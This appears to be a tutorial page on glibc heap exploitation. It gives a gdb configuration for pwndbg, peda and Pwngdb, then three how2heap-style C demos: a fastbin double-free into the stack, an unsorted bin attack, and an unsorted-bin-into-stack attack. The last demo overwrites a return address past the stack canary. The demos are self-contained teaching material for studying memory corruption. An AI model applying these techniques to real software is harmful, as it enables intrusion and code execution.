Deep Understanding of How2Heap from Assembly Language

source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")

#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")

#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")

#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the \
"
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate the first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with\n"
           "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer \n"
           "pointing to %p\n",(void*)p[1]);

    //------------VULNERABILITY-----------

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

    //------------------------------------

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been \n"
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

Compiled using ubuntu:16.04, then using pwncli to rewrite rpath.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
    intptr_t stack_buffer[4] = {0};

    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);

    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);

    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);

    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;

    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------

    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);

    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    assert((long)__builtin_return_address(0) == (long)jackpot);
}

Compiled using ubuntu 16.04, then using pwncli to rewrite rpath.